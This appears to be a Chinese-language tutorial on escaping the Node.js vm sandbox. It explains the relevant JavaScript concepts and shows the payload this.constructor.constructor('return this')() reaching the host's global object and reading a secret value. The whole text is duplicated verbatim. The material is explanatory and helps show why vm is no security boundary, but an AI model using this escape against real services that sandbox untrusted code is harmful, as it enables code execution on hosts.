如何在Node.js中逃逸vm沙箱
vm基本用法
vm模块可在V8虚拟机上下文中编译和运行nodejs代码。按照官方文档的说法,vm不是一个安全的机制,并不适合用来运行不受信任的代码。
vm的一个常见用法是做上下文隔离:
const vm = require('vm')
x = 1
context = {x: 2}
vm.createContext(context)
const code = 'x+=2;'
vm.runInContext(code, context)
console.log(x) // 1
console.log(context.x) // 4
context为vm提供了一个单独的上下文,与全局变量是隔离的。
看上去,在vm中,我们无法读写全局环境global中的变量。但事实并非如此,下面我们就来看看如何逃逸vm,获得global对象。
在此之前,先来看几个基本概念。
js中的几个关键字
global
global是Node.js中的全局对象,所有全局变量(除了global本身以外)都是 global 对象的属性。
constructor
对象的constructor属性返回创建实例对象的构造函数的引用。
class Dog {
constructor(name) {
this.name = name
}
}
d = new Dog('d')
console.log(d.constructor.toString())
/*
output:
class Dog {
constructor(name) {
this.name = name
}
}
*/
Function
Function构造函数用于创建一个Function对象,也就是说用这个构造函数可以动态的创建函数。每个JavaScript函数实际上都是一个Function对象。
Function的最后一个参数是函数体,其余参数是函数参数。
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 6));
如果不把生成的函数对象赋值给变量,也可以直接调用匿名函数:
console.log(Function('a', 'b', 'return a + b').toString())
/*
function anonymous(a,b
) {
return a + b
}
*/
console.log(Function('a', 'b', 'return a + b')(1, 2)) // 3
Object
Object构造函数用于创建一个对象,JavaScript的所有其他对象都继承自Object对象。
this
this表示当前执行代码的环境对象。this在不同场合下有不同的值,取决于使用方式。
在全局执行环境中(在任何函数体外部)this 都指向全局对象;
在函数内部,this的值取决于函数被调用的方式
例如下面这种简单的情形,非严格模式下,this在函数中,并且this的值不是由该调用设置的,所以this的值默认指向全局对象:
function f1(){
return this;
}
//在浏览器中:
f1() === window; //在浏览器中,全局对象是window
//在Node中:
f1() === global;
如何逃逸vm沙箱
现在我们来看如何一步步在vm中获取到global对象。
上文说道,this在满足条件时指向的是global,我们先来看看vm中的this,
const vm = require('vm')
global.secret = 'sss'
context = {'x': 1}
vm.createContext(context)
console.log(vm.runInContext("this", context)) // { x: 1 }
this指向了设置的context。而这个context对象是在vm外部设置的,那么它的构造函数就是是在vm外部的,这就给vm和全局global之间打开了一个通道。
console.log(context.constructor.constructor('return this')()) // global
context.constructor
获取到的是Object()
,因为所有对象都继承自它;context.constructor.constructor
获取到的是Function()
,因为Object()
也是一个Function
的对象。
再用Function()
动态创建一个匿名函数,获取this的值,this指向的就是global对象。
而在vm中,this指向的就是context,只需要把context换成this即可:
console.log(vm.runInContext("this.constructor.constructor('return this')()", context)) // global Object
console.log(vm.runInContext("this.constructor.constructor('return this.secret')()", context)) // sss
这样我们就绕过了vm沙箱,获取到了global对象。
vm基本用法
vm模块可在V8虚拟机上下文中编译和运行nodejs代码。按照官方文档的说法,vm不是一个安全的机制,并不适合用来运行不受信任的代码。
vm的一个常见用法是做上下文隔离:
const vm = require('vm')
x = 1
context = {x: 2}
vm.createContext(context)
const code = 'x+=2;'
vm.runInContext(code, context)
console.log(x) // 1
console.log(context.x) // 4
context为vm提供了一个单独的上下文,与全局变量是隔离的。
看上去,在vm中,我们无法读写全局环境global中的变量。但事实并非如此,下面我们就来看看如何逃逸vm,获得global对象。
在此之前,先来看几个基本概念。
js中的几个关键字
global
global是Node.js中的全局对象,所有全局变量(除了global本身以外)都是 global 对象的属性。
constructor
对象的constructor属性返回创建实例对象的构造函数的引用。
class Dog {
constructor(name) {
this.name = name
}
}
d = new Dog('d')
console.log(d.constructor.toString())
/*
output:
class Dog {
constructor(name) {
this.name = name
}
}
*/
Function
Function构造函数用于创建一个Function对象,也就是说用这个构造函数可以动态的创建函数。每个JavaScript函数实际上都是一个Function对象。
Function的最后一个参数是函数体,其余参数是函数参数。
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 6));
如果不把生成的函数对象赋值给变量,也可以直接调用匿名函数:
console.log(Function('a', 'b', 'return a + b').toString())
/*
function anonymous(a,b
) {
return a + b
}
*/
console.log(Function('a', 'b', 'return a + b')(1, 2)) // 3
Object
Object构造函数用于创建一个对象,JavaScript的所有其他对象都继承自Object对象。
this
this表示当前执行代码的环境对象。this在不同场合下有不同的值,取决于使用方式。
在全局执行环境中(在任何函数体外部)this 都指向全局对象;
在函数内部,this的值取决于函数被调用的方式
例如下面这种简单的情形,非严格模式下,this在函数中,并且this的值不是由该调用设置的,所以this的值默认指向全局对象:
function f1(){
return this;
}
//在浏览器中:
f1() === window; //在浏览器中,全局对象是window
//在Node中:
f1() === global;
如何逃逸vm沙箱
现在我们来看如何一步步在vm中获取到global对象。
上文说道,this在满足条件时指向的是global,我们先来看看vm中的this,
const vm = require('vm')
global.secret = 'sss'
context = {'x': 1}
vm.createContext(context)
console.log(vm.runInContext("this", context)) // { x: 1 }
this指向了设置的context。而这个context对象是在vm外部设置的,那么它的构造函数就是是在vm外部的,这就给vm和全局global之间打开了一个通道。
console.log(context.constructor.constructor('return this')()) // global
context.constructor
获取到的是Object()
,因为所有对象都继承自它;context.constructor.constructor
获取到的是Function()
,因为Object()
也是一个Function
的对象。
再用Function()
动态创建一个匿名函数,获取this的值,this指向的就是global对象。
而在vm中,this指向的就是context,只需要把context换成this即可:
console.log(vm.runInContext("this.constructor.constructor('return this')()", context)) // global Object
console.log(vm.runInContext("this.constructor.constructor('return this.secret')()", context)) // sss
这样我们就绕过了vm沙箱,获取到了global对象。